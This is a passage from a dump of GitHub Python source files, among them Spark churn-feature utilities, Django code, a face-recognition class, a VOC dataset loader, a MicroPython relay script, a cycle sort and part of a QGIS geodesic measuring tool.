phone service\", -1)\n .otherwise(0)\n ),\n )\n # Empty TotalCharges -> NaN\n sparkDF = sparkDF.withColumn(\n \"TotalCharges\",\n F.when(F.length(F.trim(F.col(\"TotalCharges\"))) == 0, None).otherwise(\n F.col(\"TotalCharges\").cast(\"double\")\n ),\n )\n\n return sparkDF\n\n\ndef compute_service_features(sparkDF):\n @F.pandas_udf(\"int\")\n def num_optional_services(*cols):\n return sum(map(lambda s: (s == 1).astype(\"int\"), cols))\n\n @F.pandas_udf(\"int\")\n def num_no_services(*cols):\n return sum(map(lambda s: (s == -1).astype(\"int\"), cols))\n\n # Below also add AvgPriceIncrease: current monthly charges compared to historical average\n sparkDF = (\n sparkDF.fillna({\"TotalCharges\": 0.0})\n .withColumn(\n \"NumOptionalServices\",\n num_optional_services(\n \"OnlineSecurity\",\n \"OnlineBackup\",\n \"DeviceProtection\",\n \"TechSupport\",\n \"StreamingTV\",\n \"StreamingMovies\",\n ),\n )\n .withColumn(\n \"NumNoInternetServices\",\n num_no_services(\n \"OnlineSecurity\",\n \"OnlineBackup\",\n \"DeviceProtection\",\n \"TechSupport\",\n \"StreamingTV\",\n \"StreamingMovies\",\n ),\n )\n .withColumn(\n \"AvgPriceIncrease\",\n F.when(\n F.col(\"tenure\") > 0,\n (F.col(\"MonthlyCharges\") - (F.col(\"TotalCharges\") / F.col(\"tenure\"))),\n ).otherwise(0.0),\n )\n )\n\n return sparkDF\n\n\ndef export_df(table_name):\n \"\"\"\n Read Delta Table, compute features with prepare_features and compute_service_features\n then convert into Pandas DF select the main DF for train and validation\n\n :tableName str: Delta table Name\n :return: X and y pandas DF\n \"\"\"\n spark = SparkSession.builder.getOrCreate()\n telco_df = spark.read.format(\"delta\").table(f\"{table_name}\")\n\n telco_df = prepare_features(telco_df)\n telco_df = compute_service_features(telco_df)\n\n dataset = telco_df.toPandas()\n X = dataset.drop([\"customerID\", \"Churn\"], axis=1)\n y = dataset[\"Churn\"]\n\n return X, y\n\n\ndef compute_weights(y_train):\n \"\"\"\n Define minimum positive class scale factor\n \"\"\"\n weights = compute_class_weight(\"balanced\", classes=np.unique(y_train), y=y_train)\n scale = weights[1] / weights[0]\n return scale\n\n\ndef write_into_delta_table(\n df, path, schema_option=\"overwriteSchema\", mode=\"overwrite\", table_type=\"managed\"\n):\n if table_type == \"managed\":\n df.write.format(\"delta\").mode(mode).option(schema_option, \"true\").saveAsTable(\n path\n )\n else:\n # you need to provide the full path\n # example : /mnt/project/delta_\n df.write.format(\"delta\").mode(mode).option(schema_option, \"true\").save(path)\n\n\ndef to_object(df):\n\n df = df.astype(object)\n return df\n\n\ndef to_numeric(df):\n\n df = df.apply(pd.to_numeric, errors=\"coerce\")\n return df\n","repo_name":"rafaelvp-db/mlops-world-end-to-end","sub_path":"notebooks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5251,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"20174373764","text":"import unicodecsv\n\n#https://classroom.udacity.com/courses/ud170/lessons/5430778793/concepts/53961386130923\n#https://classroom.udacity.com/datasets/ud170/udacity-students/enrollments.csv'\nenrollments_filename = '/datasets/ud170/udacity-students/enrollments.csv'\n\n## Longer version of code (replaced with shorter, equivalent version below)\n\n# enrollments = []\n# f = open(enrollments_filename, 'rb')\n# reader = unicodecsv.DictReader(f)\n# for row in reader:\n# enrollments.append(row)\n# f.close()\n\nwith open(enrollments_filename, 'rb') as f:\n reader = unicodecsv.DictReader(f)\n enrollments = list(reader)\n \n### Write code similar to the above to load the engagement\n### and submission data. The data is stored in files with\n### the given filenames. Then print the first row of each\n### table to make sure that your code works. You can use the\n### \"Test Run\" button to see the output of your code.\n\nengagement_filename = '/datasets/ud170/udacity-students/daily_engagement.csv'\ndaily_engagement = None # Replace this with your code\nwith open(engagement_filename, 'rb') as f:\n reader = unicodecsv.DictReader(f)\n daily_engagement = list(reader)\n\nsubmissions_filename = '/datasets/ud170/udacity-students/project_submissions.csv'\nproject_submissions = None # Replace this with your code\nwith open(submissions_filename, 'rb') as f:\n reader = unicodecsv.DictReader(f)\n project_submissions = list(reader)\n \n \nprint(enrollments[0])\nprint(daily_engagement[0])\nprint(project_submissions[0])\n","repo_name":"titocampos/Arquivos","sub_path":"DataScience 3 months/Semana 2/lendo_csv.py","file_name":"lendo_csv.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"1289852925","text":"import logging\nfrom typing import Union\n\nimport numpy as np\nimport pyqtgraph as pg\nimport pyqtgraph.opengl as gl\nfrom PyQt6.QtWidgets import QWidget, QVBoxLayout\nfrom pyqtgraph.dockarea.Dock import Dock\n\nfrom src.core_processes.mediapipe_stuff.mediapipe_skeleton_names_and_connections import (\n mediapipe_body_connections,\n)\nfrom src.pipelines.session_pipeline.data_classes.data_3d_single_frame_payload import (\n Data3dMultiFramePayload,\n)\n\nlogger = logging.getLogger(__name__)\n\n\nclass Gl3dViewPort(QWidget):\n def __init__(self):\n logger.info(\"setting up Visualizer3d\")\n super().__init__()\n\n self._base_scalar = 2e3 # 2 meters, probably\n self._frame_number = -1\n\n self._mediapipe_connections_dict = {}\n self._mediapipe_skeleton_scatter_item = None\n self._mediapipe_body_connections = mediapipe_body_connections\n\n self._layout = QVBoxLayout()\n self.setLayout(self._layout)\n\n self._opengl_3d_plot_widget = gl.GLViewWidget()\n self._setup_3d_view(initial_viewing_distance=self._base_scalar)\n self._layout.addWidget(self._opengl_3d_plot_widget)\n\n def _setup_3d_view(self, initial_viewing_distance: Union[float, int] = 2e3):\n self._opengl_3d_plot_widget.opts[\"distance\"] = initial_viewing_distance\n self._opengl_3d_plot_widget.opts[\"azimuth\"] = 90\n self._opengl_3d_plot_widget.opts[\"elevation\"] = 90\n\n self._create_grid_planes(grid_scale=initial_viewing_distance)\n self._create_rgb_origin_axes()\n\n def _create_rgb_origin_axes(self):\n # create XYZ axes\n x_axis_line_array = np.array([[0, 0, 0], [100, 0, 0]])\n y_axis_line_array = np.array([[0, 0, 0], [0, 100, 0]])\n z_axis_line_array = np.array([[0, 0, 0], [0, 0, 100]])\n\n self.origin_x_axis_gl_lineplot_item = pg.opengl.GLLinePlotItem(\n pos=x_axis_line_array, color=(1, 0, 0, 1), width=1.0, antialias=True\n )\n self.origin_y_axis_gl_lineplot_item = pg.opengl.GLLinePlotItem(\n pos=y_axis_line_array, color=(0, 1, 0, 1), width=1.0, antialias=True\n )\n self.origin_z_axis_gl_lineplot_item = pg.opengl.GLLinePlotItem(\n pos=z_axis_line_array, color=(0, 0, 1, 1), width=1.0, antialias=True\n )\n self._opengl_3d_plot_widget.addItem(self.origin_x_axis_gl_lineplot_item)\n self._opengl_3d_plot_widget.addItem(self.origin_y_axis_gl_lineplot_item)\n self._opengl_3d_plot_widget.addItem(self.origin_z_axis_gl_lineplot_item)\n\n def _create_grid_planes(self, grid_scale: Union[int, float] = 2e3):\n\n # create the background grids\n grid_plane_x = gl.GLGridItem()\n grid_plane_x.setSize(grid_scale, grid_scale, grid_scale)\n grid_plane_x.setSpacing(grid_scale / 10, grid_scale / 10, grid_scale / 10)\n grid_plane_x.rotate(90, 0, 1, 0)\n grid_plane_x.translate(-grid_scale, 0, 0)\n self._opengl_3d_plot_widget.addItem(grid_plane_x)\n\n grid_plane_y = gl.GLGridItem()\n grid_plane_y.setSize(grid_scale, grid_scale, grid_scale)\n grid_plane_y.setSpacing(grid_scale / 10, grid_scale / 10, grid_scale / 10)\n grid_plane_y.rotate(90, 1, 0, 0)\n grid_plane_y.translate(0, -grid_scale, 0)\n self._opengl_3d_plot_widget.addItem(grid_plane_y)\n\n grid_plane_z = gl.GLGridItem()\n grid_plane_z.setSize(grid_scale, grid_scale, grid_scale)\n grid_plane_z.setSpacing(grid_scale / 10, grid_scale / 10, grid_scale / 10)\n grid_plane_z.translate(0, 0, -grid_scale)\n self._opengl_3d_plot_widget.addItem(grid_plane_z)\n\n def _initialize_mediapipe_skeleton_dottos(\n self, mediapipe3d_trackedPoint_xyz: np.ndarray\n ):\n self._mediapipe_skeleton_scatter_item = gl.GLScatterPlotItem(\n pos=mediapipe3d_trackedPoint_xyz,\n color=(0, 1, 1, 1),\n size=10,\n pxMode=False,\n )\n self._opengl_3d_plot_widget.addItem(self._mediapipe_skeleton_scatter_item)\n\n def _initialize_mediapipe_skeleton_connections(\n self, mediapipe3d_trackedPoint_xyz: np.ndarray\n ):\n self._skeleton_connections_list = []\n for this_connection in self._mediapipe_body_connections:\n this_skel_line = gl.GLLinePlotItem(\n pos=mediapipe3d_trackedPoint_xyz[this_connection, :]\n )\n self._skeleton_connections_list.append(this_skel_line)\n self._opengl_3d_plot_widget.addItem(this_skel_line)\n\n def initialize_mediapipe_3d_skeleton(\n self, mediapipe3d_trackedPoint_xyz: np.ndarray\n ):\n\n self._initialize_mediapipe_skeleton_dottos(mediapipe3d_trackedPoint_xyz)\n self._initialize_mediapipe_skeleton_connections(mediapipe3d_trackedPoint_xyz)\n\n def update_mediapipe3d_skeleton(self, mediapipe3d_trackedPoint_xyz: np.ndarray):\n\n # update skel dottos\n self._mediapipe_skeleton_scatter_item.setData(\n pos=mediapipe3d_trackedPoint_xyz,\n )\n\n # update skel lines\n for this_skeleton_line_number, this_connection in enumerate(\n self._mediapipe_body_connections\n ):\n self._skeleton_connections_list[this_skeleton_line_number].setData(\n pos=mediapipe3d_trackedPoint_xyz[this_connection, :]\n )\n","repo_name":"Tung-Vinh-Long/FreeMoCap-v0.0.54","sub_path":"src/gui/main/visualize_session/gl_3d_view_port.py","file_name":"gl_3d_view_port.py","file_ext":"py","file_size_in_byte":5293,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"37705327031","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport nodewatcher.core.registry.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('contenttypes', '0002_remove_content_type_name'),\n ('core', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='IdentityConfig',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('trust_policy', nodewatcher.core.registry.fields.RegistryChoiceField(b'node.config', b'core.identity#trust_policy', default=b'first', max_length=50, choices=[(b'any', 'Trust any identity (INSECURE)'), (b'first', 'Trust and store the first received identity'), (b'config', 'Only trust explicitly configured identities')])),\n ('store_unknown', models.BooleanField(default=True, help_text='Set in order for unknown identities to be stored, so you may later confirm them. Until they are confirmed, they are not trusted.', verbose_name='Store Unknown Identities')),\n ('polymorphic_ctype', models.ForeignKey(related_name='polymorphic_identity_base.identityconfig_set+', editable=False, to='contenttypes.ContentType', null=True)),\n ('root', models.ForeignKey(related_name='config_identity_base_identityconfig', editable=False, to='core.Node')),\n ],\n options={\n 'ordering': ['id'],\n 'abstract': False,\n },\n ),\n migrations.CreateModel(\n name='IdentityMechanismConfig',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('trusted', models.BooleanField(default=False)),\n ('automatically_added', models.BooleanField(default=False, editable=False)),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('last_seen', models.DateTimeField(null=True, editable=False, blank=True)),\n ('identity', nodewatcher.core.registry.fields.IntraRegistryForeignKey(related_name='mechanisms', editable=False, to='identity_base.IdentityConfig')),\n ('polymorphic_ctype', models.ForeignKey(related_name='polymorphic_identity_base.identitymechanismconfig_set+', editable=False, to='contenttypes.ContentType', null=True)),\n ('root', models.ForeignKey(related_name='config_identity_base_identitymechanismconfig', editable=False, to='core.Node')),\n ],\n options={\n 'ordering': ['id'],\n 'abstract': False,\n },\n ),\n ]\n","repo_name":"wlanslovenija/nodewatcher","sub_path":"nodewatcher/modules/identity/base/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"27"} +{"seq_id":"43036748410","text":"from django.shortcuts import render\nimport channels.layers\nfrom asgiref.sync import async_to_sync\nfrom channels.layers import get_channel_layer\nfrom django.http import HttpResponse\nfrom main.models import Trigger\n\ndef update(request, trigger_code):\n\n print(trigger_code)\n target_trigger = Trigger.objects.get(code = trigger_code)\n target_trigger.is_triggered = True\n target_trigger.save()\n\n create_alert(trigger_code)\n\n return HttpResponse('

    Done

    ')\n\ndef create_alert(trigger_code):\n\n channel_layer = get_channel_layer()\n\n async_to_sync(channel_layer.group_send)(\n 'chat_%s' %'alerts',\n {\n 'type': 'chat_message',\n 'message': trigger_code\n }\n )\n\ndef index(request):\n Trigger.objects.update(is_triggered = False)\n return render(request, 'index.html')\n","repo_name":"dtekluva/AUTONOMOUS-DRONE","sub_path":"webapp/drones/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"24324511223","text":"import cv2\r\nimport os\r\nimport json\r\n\r\nimport face_recognition\r\nimport magic\r\nimport numpy as np\r\n\r\n\r\n\r\nclass FMA:\r\n def __init__(self):\r\n # the model used from cv2\r\n recognizer = cv2.face.LBPHFaceRecognizer_create()\r\n recognizer.read(\"face_recognizer1/face_recognizer1.yml\")\r\n self.recognizer = recognizer\r\n self.labels = json.load(open(\"fetch_images/labels.json\"))\r\n\r\n def predict(self, file):\r\n # files allowed are only images (gifs excluded)\r\n if 'image' in magic.from_file(file, mime=True) and 'gif' not in str(magic.from_file(file, mime=True)).lower():\r\n img = face_recognition.load_image_file(file)\r\n # the model is trained on grayscale images\r\n gray_img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\r\n faces = face_recognition.face_locations(img)\r\n names = []\r\n for top, right, bottom, left in faces:\r\n roi_gray = gray_img[top:bottom, left:right]\r\n # rectangle color and thickness\r\n color = (255, 0, 0)\r\n stroke = 2\r\n cv2.rectangle(img, (left, top), (right, bottom), color, stroke)\r\n font = cv2.FONT_HERSHEY_SIMPLEX\r\n # prediction name\r\n name = self.labels[str(self.recognizer.predict(roi_gray)[0])]\r\n names.append(name)\r\n stroke_color = (5, 5, 5)\r\n color = (240, 240, 240)\r\n stroke = 4\r\n # adds the prediction text near the triangle with a stroke so it can be seen on every image, no matter the colors\r\n cv2.putText(img, name, (left, top-10), font, 0.4, stroke_color, stroke, cv2.LINE_AA)\r\n cv2.putText(img, name, (left, top-10), font, 0.4, color, 1, cv2.LINE_AA)\r\n return cv2.resize(img, (360, 360)), names\r\n else:\r\n return None, []\r\n","repo_name":"surtexx/Find-my-Actors","sub_path":"FMA.py","file_name":"FMA.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"15943471907","text":"from os import listdir # 解析VOC数据路径时使用\nfrom os.path import join\nfrom random import random\nfrom PIL import Image, ImageDraw\nimport xml.etree.ElementTree # 用于解析VOC的xmllabel\n\nimport torch\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\n\nfrom sampling import sampleEzDetect\n\n__all__ = [\"vocClassName\", \"vocClassID\", \"vocDataset\"]\n\nvocClassName = [\n 'aeroplane',\n 'bicycle',\n 'bird',\n 'boat',\n 'bottle',\n 'bus',\n 'car',\n 'cat',\n 'chair',\n 'cow',\n 'diningtable',\n 'dog',\n 'horse',\n 'motorbike',\n 'person',\n 'pottedplant',\n 'sheep',\n 'sofa',\n 'train',\n 'tvmonitor']\n\n\ndef getVOCInfo(xmlFile):\n root = xml.etree.ElementTree.parse(xmlFile).getroot();\n anns = root.findall('object')\n\n bboxes = []\n for ann in anns:\n name = ann.find('name').text\n newAnn = {}\n newAnn['category_id'] = name\n\n bbox = ann.find('bndbox')\n newAnn['bbox'] = [-1, -1, -1, -1]\n newAnn['bbox'][0] = float(bbox.find('xmin').text)\n newAnn['bbox'][1] = float(bbox.find('ymin').text)\n newAnn['bbox'][2] = float(bbox.find('xmax').text)\n newAnn['bbox'][3] = float(bbox.find('ymax').text)\n bboxes.append(newAnn)\n\n return bboxes\n\n\nclass vocDataset(data.Dataset):\n def __init__(self, config, isTraining=True):\n super(vocDataset, self).__init__()\n self.isTraining = isTraining\n self.config = config\n\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]) # 用均值和方差对图片的RGB值分别进行归一化(也有其他方法,这种相对比较简单)\n self.transformer = transforms.Compose([transforms.ToTensor(), normalize])\n\n def __getitem__(self, index):\n item = None\n if self.isTraining:\n item = allTrainingData[index % len(allTrainingData)]\n else:\n item = allTestingData[index % len(allTestingData)]\n\n img = Image.open(item[0]) # item[0]为图像数据\n allBboxes = getVOCInfo(item[1]) # item[1]为通过getVOCInfo函数解析出真实label的数据\n imgWidth, imgHeight = img.size\n\n targetWidth = int((random() * 0.25 + 0.75) * imgWidth)\n targetHeight = int((random() * 0.25 + 0.75) * imgHeight)\n\n # 对图片进行随机crop,并保证bbox大小\n xmin = int(random() * (imgWidth - targetWidth))\n ymin = int(random() * (imgHeight - targetHeight))\n img = img.crop((xmin, ymin, xmin + targetWidth, ymin + targetHeight))\n img = img.resize((self.config.targetWidth, self.config.targetHeight), Image.BILINEAR)\n imgT = self.transformer(img)\n imgT = imgT * 256\n\n # 调整bbox\n bboxes = []\n for i in allBboxes:\n xl = i['bbox'][0] - xmin\n yt = i['bbox'][1] - ymin\n xr = i['bbox'][2] - xmin\n yb = i['bbox'][3] - ymin\n\n if xl < 0:\n xl = 0;\n if xr >= targetWidth:\n xr = targetWidth - 1\n if yt < 0:\n yt = 0\n if yb >= targetHeight:\n yb = targetHeight - 1\n\n xl = xl / targetWidth\n xr = xr / targetWidth\n yt = yt / targetHeight\n yb = yb / targetHeight\n\n if (xr - xl >= 0.05 and yb - yt >= 0.05):\n bbox = [vocClassID[i['category_id']],\n xl, yt, xr, yb]\n\n bboxes.append(bbox)\n\n if len(bboxes) == 0:\n return self[index + 1]\n\n target = sampleEzDetect(self.config, bboxes);\n\n '''\n ### 对预测图片进行测试 ##########\n draw = ImageDraw.Draw(img)\n num = int(target[0])\n for j in range(0,num):\n offset = j * 6\n if ( target[offset + 1] < 0):\n break\n\n k = int(target[offset + 6])\n trueBox = [ target[offset + 2],\n target[offset + 3],\n target[offset + 4],\n target[offset + 5] ]\n\n predBox = self.config.predBoxes[k]\n\n draw.rectangle([trueBox[0]*self.config.targetWidth,\n trueBox[1]*self.config.targetHeight,\n trueBox[2]*self.config.targetWidth,\n trueBox[3]*self.config.targetHeight])\n\n draw.rectangle([predBox[0]*self.config.targetWidth,\n predBox[1]*self.config.targetHeight,\n predBox[2]*self.config.targetWidth,\n predBox[3]*self.config.targetHeight], None, \"red\")\n\n del draw\n img.save(\"/tmp/{}.jpg\".format(index) )\n '''\n\n return imgT, target\n\n def __len__(self):\n if self.isTraining:\n num = len(allTrainingData) - (len(allTrainingData) % self.config.batchSize)\n return num\n else:\n num = len(allTestingData) - (len(allTestingData) % self.config.batchSize)\n return num\n\nvocClassID = {}\nfor i in range(len(vocClassName)):\n vocClassID[vocClassName[i]] = i + 1\n\nprint(vocClassID)\nallTrainingData = [] # 第167行,该行后面的代码为从VOC2007中读取数据,会在调用voc_dataset.py文件时立即执行\nallTestingData = []\nallFloder = [\"./VOCdevkit/VOC2007\"] # 我们把从VOC网站下载的数据放到本地,只使用VOC2007做实验\nfor floder in allFloder:\n imagePath = join(floder, \"JPEGImages\")\n infoPath = join(floder, \"Annotations\")\n index = 0\n\n for f in listdir(imagePath): # 遍历9964张原始图片\n if f.endswith(\".jpg\"):\n imageFile = join(imagePath, f)\n infoFile = join(infoPath, f[:-4] + \".xml\")\n if index % 10 == 0: # 每10张随机抽1个样本做测试\n allTestingData.append((imageFile, infoFile))\n else:\n allTrainingData.append((imageFile, infoFile))\n\n index = index + 1","repo_name":"wuxh123/machine-learning","sub_path":"170SSD/voc_dataset.py","file_name":"voc_dataset.py","file_ext":"py","file_size_in_byte":6134,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"27"} +{"seq_id":"30293989853","text":"from machine import Pin\r\nimport time\r\n\r\np4 = Pin(4,Pin.OUT)\r\np5 = Pin(5,Pin.OUT)\r\np6 = Pin(6,Pin.OUT)\r\np7 = Pin(7,Pin.OUT)\r\n\r\np1 = Pin(1,Pin.IN)\r\np2 = Pin(2,Pin.IN)\r\np3 = Pin(3,Pin.IN)\r\n\r\np4.value(0)\r\np5.value(0)\r\np6.value(0)\r\np7.value(0)\r\n\r\ndef command_relay(num):\r\n num.value(1)\r\n time.sleep(1)\r\n num.value(0)\r\n\r\np1.value(1)\r\np2.value(1)\r\np3.value(1)\r\n\r\n\r\ns = 0\r\nwhile s < 20:\r\n time.sleep(1)\r\n s += 1\r\n if p1.value() == 0 and p2.value() == 1 and p3.value() == 1:\r\n #R1, p4\r\n command_relay(p4)\r\n \r\n elif p1.value() == 1 and p2.value() == 0 and p3.value() == 1:\r\n #R2, p5\r\n command_relay(p5)\r\n elif p1.value() == 1 and p2.value() == 1 and p3.value() == 0:\r\n #R3, p6\r\n command_relay(p6)\r\n elif p1.value() == 0 and p2.value() == 0 and p3.value() == 1:\r\n #R4, p7\r\n command_relay(p7)\r\n \r\n ","repo_name":"BenAladjem/MY-MICROPYTHON","sub_path":"command_relay_boot.py","file_name":"command_relay_boot.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"18745618002","text":"# -*- coding: utf-8 -*-\n\ndef cycleSort(array):\n writes = 0\n\n for cycleStart in range(0, len(array)-1):\n item = arr[cycleStart]\n\n pos = cycleStart\n for i in range(cycleStart+1, len(array)):\n if arr[i] < item:\n pos += 1\n\n if pos == cycleStart:\n continue\n\n while array[pos] == item:\n pos += 1\n\n array[pos], item = item, array[pos]\n writes += 1\n\n while pos != cycleStart:\n pos = cycleStart\n for i in range(cycleStart+1, len(array)):\n if array[i] < item:\n pos += 1\n\n while item == array[pos]:\n pos += 1\n\n array[pos], item = item, array[pos]\n writes += 1\n\n return writes\n\nif __name__ == \"__main__\":\n arr = [ 1, 8, 3, 9, 10, 10, 2, 4]\n n = len(arr)\n writes = cycleSort(arr)\n\n print(\"After sort : \")\n print(n)\n for i in range(0, n):\n print(arr[i])\n\n \n","repo_name":"o7878x/DailyScripts","sub_path":"python/algorithm/cycleSort.py","file_name":"cycleSort.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"29543191842","text":"import os\nimport re\nimport math\nfrom geographiclib.geodesic import Geodesic\n\nfrom qgis.PyQt.QtGui import QIcon, QColor\nfrom qgis.PyQt.QtCore import QSize, Qt, QSettings, QVariant, QByteArray\nfrom qgis.PyQt.QtWidgets import QTableWidgetItem, QDialog, QApplication, QMenu\nfrom qgis.core import (\n Qgis, QgsCoordinateTransform, QgsCoordinateReferenceSystem,\n QgsUnitTypes, QgsWkbTypes, QgsGeometry, QgsFields, QgsField,\n QgsProject, QgsVectorLayer, QgsFeature, QgsPointXY,\n QgsPalLayerSettings, QgsVectorLayerSimpleLabeling, QgsSettings)\nfrom qgis.gui import QgsMapTool, QgsRubberBand, QgsProjectionSelectionDialog, QgsVertexMarker\nfrom qgis.PyQt import uic\n# import traceback\n\nfrom .settings import epsg4326, settings, geod\nfrom .compass import Compass\nfrom .utils import tr, DISTANCE_LABELS, parseDMSString\nunitsAbbr = ['km', 'm', 'cm', 'mi', 'yd', 'ft', 'in', 'nm']\n\nclass GeodesicMeasureTool(QgsMapTool):\n\n def __init__(self, shapetools, iface, parent):\n QgsMapTool.__init__(self, iface.mapCanvas())\n self.iface = iface\n self.canvas = iface.mapCanvas()\n self.measureDialog = GeodesicMeasureDialog(shapetools, iface, parent)\n self.vertex = None\n\n def activate(self):\n '''When activated set the cursor to a crosshair.'''\n self.canvas.setCursor(Qt.CrossCursor)\n self.measureDialog.initGeodLabel()\n self.measureDialog.show()\n self.snapcolor = QgsSettings().value( \"/qgis/digitizing/snap_color\" , QColor( Qt.magenta ) )\n\n def closeDialog(self):\n '''Close the geodesic measure tool dialog box.'''\n self.removeVertexMarker()\n if self.measureDialog.isVisible():\n self.measureDialog.closeDialog()\n\n def endInteractiveLine(self):\n if self.measureDialog.isVisible():\n self.measureDialog.endRubberband()\n\n def keyPressEvent(self, event):\n if not self.measureDialog.isVisible():\n return\n key = event.key()\n self.measureDialog.keyPressed(key)\n\n def canvasPressEvent(self, event):\n '''Capture the coordinates when the user click on the mouse for measurements.'''\n self.removeVertexMarker()\n if not self.measureDialog.isVisible():\n self.measureDialog.initGeodLabel()\n self.measureDialog.show()\n self.measureDialog.updateRBColor()\n return\n if not self.measureDialog.ready():\n return\n pt = self.snappoint(event.originalPixelPoint())\n button = event.button()\n if button == 2:\n self.measureDialog.endRubberband()\n return\n canvasCRS = self.canvas.mapSettings().destinationCrs()\n if canvasCRS != epsg4326:\n transform = QgsCoordinateTransform(canvasCRS, epsg4326, QgsProject.instance())\n pt = transform.transform(pt.x(), pt.y())\n self.measureDialog.addPoint(pt, button)\n\n def canvasMoveEvent(self, event):\n '''Capture the coordinate as the user moves the mouse over\n the canvas.'''\n if self.measureDialog.ready():\n pt = self.snappoint(event.originalPixelPoint())\n if self.measureDialog.motionReady():\n try:\n canvasCRS = self.canvas.mapSettings().destinationCrs()\n if canvasCRS != epsg4326:\n transform = QgsCoordinateTransform(canvasCRS, epsg4326, QgsProject.instance())\n pt = transform.transform(pt.x(), pt.y())\n self.measureDialog.inMotion(pt)\n except Exception:\n return\n\n def snappoint(self, qpoint):\n match = self.canvas.snappingUtils().snapToMap(qpoint)\n if match.isValid():\n if self.vertex is None:\n self.vertex = QgsVertexMarker(self.canvas)\n self.vertex.setIconSize(12)\n self.vertex.setPenWidth(2)\n self.vertex.setColor(self.snapcolor)\n self.vertex.setIconType(QgsVertexMarker.ICON_BOX)\n self.vertex.setCenter(match.point())\n return (match.point()) # Returns QgsPointXY\n else:\n self.removeVertexMarker()\n return self.toMapCoordinates(qpoint) # QPoint input, returns QgsPointXY\n\n def removeVertexMarker(self):\n if self.vertex is not None:\n self.canvas.scene().removeItem(self.vertex)\n self.vertex = None\n\n\nFORM_CLASS, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), 'ui/geodesicMeasureDialog.ui'))\n\nclass GeodesicMeasureDialog(QDialog, FORM_CLASS):\n def __init__(self, shapetools, iface, parent):\n super(GeodesicMeasureDialog, self).__init__(parent)\n self.setupUi(self)\n self.shapetools = shapetools\n self.iface = iface\n self.canvas = iface.mapCanvas()\n self.pointDigitizerDialog = AddMeasurePointWidget(self, iface, parent)\n qset = QSettings()\n self.comp = Compass()\n\n self.manualEntryButton.setIcon(QIcon(os.path.dirname(__file__) + \"/images/manualpoint.png\"))\n self.manualEntryButton.clicked.connect(self.showManualEntryDialog)\n self.settingsButton.setIcon(QIcon(':/images/themes/default/mActionOptions.svg'))\n self.settingsButton.clicked.connect(self.showSettings)\n\n self.restoreGeometry(qset.value(\"ShapeTools/MeasureDialogGeometry\", QByteArray(), type=QByteArray))\n self.closeButton.clicked.connect(self.closeDialog)\n self.newButton.clicked.connect(self.newDialog)\n self.saveToLayerButton.clicked.connect(self.saveToLayer)\n self.saveToLayerButton.setEnabled(False)\n\n self.unitsComboBox.addItems(DISTANCE_LABELS)\n saved_default_unit = int(qset.value('/ShapeTools/DefaultMeasureUnit', 0))\n self.unitsComboBox.setCurrentIndex(saved_default_unit)\n\n self.compassResolution = settings.compassResolution\n if self.compassResolution:\n self.tableWidget.setColumnCount(5)\n self.tableWidget.setHorizontalHeaderLabels([tr('Heading To'), tr('Compass To'), tr('Heading From'), tr('Compass From'), tr('Distance')])\n else:\n self.tableWidget.setColumnCount(3)\n self.tableWidget.setHorizontalHeaderLabels([tr('Heading To'), tr('Heading From'), tr('Distance')])\n self.tableWidget.setSortingEnabled(False)\n\n self.unitsComboBox.activated.connect(self.unitsChanged)\n\n self.capturedPoints = []\n self.distances = []\n self.startAngles = []\n self.endAngles = []\n self.activeMeasuring = True\n self.lastMotionPt = None\n self.unitsChanged()\n self.currentDistance = 0.0\n\n self.pointRb = QgsRubberBand(self.canvas, QgsWkbTypes.PointGeometry)\n self.pointRb.setColor(settings.rubberBandColor)\n self.pointRb.setIconSize(10)\n self.lineRb = QgsRubberBand(self.canvas, QgsWkbTypes.LineGeometry)\n self.lineRb.setColor(settings.rubberBandColor)\n self.lineRb.setWidth(3)\n self.tempRb = QgsRubberBand(self.canvas, QgsWkbTypes.LineGeometry)\n self.tempRb.setColor(settings.rubberBandColor)\n self.tempRb.setWidth(3)\n\n def showManualEntryDialog(self):\n self.pointDigitizerDialog.show()\n\n def showSettings(self):\n self.shapetools.settings()\n\n def ready(self):\n return self.activeMeasuring\n\n def stop(self):\n self.activeMeasuring = False\n self.lastMotionPt = None\n\n def showEvent(self, e):\n self.compassResolution = settings.compassResolution\n if self.compassResolution:\n self.tableWidget.setColumnCount(5)\n self.tableWidget.setHorizontalHeaderLabels([tr('Heading To'), tr('Compass To'), tr('Heading From'), tr('Compass From'), tr('Distance')])\n else:\n self.tableWidget.setColumnCount(3)\n self.tableWidget.setHorizontalHeaderLabels([tr('Heading To'), tr('Heading From'), tr('Distance')])\n\n def closeEvent(self, event):\n self.closeDialog()\n\n def closeDialog(self):\n self.clear()\n QSettings().setValue(\n \"ShapeTools/MeasureDialogGeometry\", self.saveGeometry())\n 